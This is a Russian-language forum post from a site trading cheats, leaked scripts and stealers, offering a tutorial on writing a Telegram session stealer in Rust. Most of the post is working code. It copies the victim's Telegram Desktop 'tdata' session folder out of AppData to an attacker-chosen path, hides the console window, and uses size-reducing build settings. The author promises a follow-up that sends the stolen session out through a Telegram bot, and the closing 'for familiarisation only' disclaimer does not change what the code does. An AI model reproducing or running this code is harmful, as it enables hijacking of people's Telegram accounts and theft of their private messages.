Пишем стиллер телеграма на Rust | ФОРУМ СОЦИАЛЬНОЙ ИНЖЕНЕРИИ ⭐️MeHack⭐️ - Читы, базы, раздачи аккаунтов, сливы скриптов, способы заработка

Пишем стиллер телеграма на Rust

Тема в разделе "Трояны, Стиллеры, Кейлоггеры, RATs", создана пользователем lolzteam, 09.06.23.Просмотров: 274

  1. lolzteam МультиМагнат

    lolzteam

    356 сообщения
    5 симпатий
    0
    розыгрышей
    2 года с нами
    10 месяцев с нами
    21 день с нами
    Пишем стиллер телеграма на Rust

    Сегодня мы напишем небольшой стиллер телеграм сессии на языке Rust.

    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником

    Для начала инициализируем проект.
    cargo init:
    cargo init
    Далее создадим в папке src несколько файлов
    apps/telegram.rs
    utils/funcs.rs
    Также не забываем в каждой из папок создать файл mod.rs и прописать туда следующий код:
    mod.rs:
    // Для apps
    pub mod telegram;

    // Для utils
    pub mod funcs;


    В файле funcs.rs мы напишем функцию, которая будет копировать все файлы и директории по определенному пути.
    Копирование директории:
    pub fn copy_dir_all(src: impl AsRef<Path>, dst: impl AsRef<Path>) -> io::Result<()> {
    create_dir_all(&dst)?;
    for entry in read_dir(src)? {
    let entry = entry?;
    let ty = entry.file_type()?;
    if ty.is_dir() {
    copy_dir_all(entry.path(), dst.as_ref().join(entry.file_name()))?;
    } else {
    copy(entry.path(), dst.as_ref().join(entry.file_name()))?;
    }
    }
    Ok(())
    }

    В функцию мы передаем путь к директории, которую мы будем копировать и путь к той директории куда мы будем все это копировать. Функция является рекурсивной. Далее в самой функции я использовал метод, который создаст директорию по указанному пути, если ее не существует. Далее у нас сам цикл, который проходится по директории телеграма, в самом цикле у нас идет условие, которое говорит, что если ty является директорией, то у нас вызывается наша функция(это и называется рекурсией), если не является директорией, то она просто копирует все файлы и завершается. Данный цикл не завершится пока пока не пройдет по всем папкам и файлам в директории.

    Переходим к самому интересному стиллер телеграма
    Открываем файл telegram.rs

    И создаем публичную функцию grab, куда прописываем следующий код:
    telegram:
    pub fn grab(path: PathBuf) -> Option<String> {
    let app_data = std::env::var("APPDATA").ok()?;

    if Path::new(&format!("{}\\Telegram Desktop\\tdata", app_data)).exists() {
    match crate::utils::funcs::copy_dir_all(&Path::new(&format!("{}\\Telegram Desktop\\tdata", app_data)), &path) {
    Err(e) => println!("Ошибка копирования {}", e),
    Ok(res) => println!("Tdata Скопирована {:?}", res),
    };
    }

    return Some("Telegram".to_string());


    Функция принимает в себя путь(путь куда сохраним результат)
    В самой функции мы создаем переменную app_data которая получает путь к папке AppData из стандартной библиотеки раста.
    Далее у нас идет условие, которое проверяет существует ли папка tdata по данному пути и в самом условии мы делаем match по нашей функции copy_dir_all куда передаем тот же путь который проверяли в условии и следующим параметром передаем путь куда сохраним сессию.
    А далее идет конструкция самого match, где мы обрабатываем ошибку и успешный результат в нашем случае мы выводим информацию в консоль.

    Переходим в main.rs и в самом верху файла добавляем директиву и объявление модулей
    /:
    #![windows_subsystem = "windows"] // Скрываем консоль

    mod apps;
    mod utils;


    В функции main прописываем следующий код:
    main:
    fn main() {
    let result_path = String::from("ПУТЬ КУДА СОХРАНЯЕМ СЕССИЮ");

    crate::apps::telegram::grab(result_path.into());

    println!("Телеграм украли и че дальше?");
    }


    Впринципе мы закончили, но хочу еще добавить в Cargo.toml несколько строк для оптимизации файла:
    cargo.toml:
    [profile.release]
    lto = true
    codegen-units = 1
    opt-level = "z"
    panic = "abort"
    debug = false
    strip = "symbols"


    И так мы написали небольшой стиллер телеграма, который почему то не умеет отправлять логи в телеграм

    Сам начал изучать Rust и решил написать вам данную статью в доказательство того, что язык не такой уж и сложный. А за гкод(если он есть) можете дать мне пизды
    Статья была написана для ознакомления не более
    Если желаете выпущу, вторую часть статьи, где напишем архивацию лога и отправки его через телеграм бота.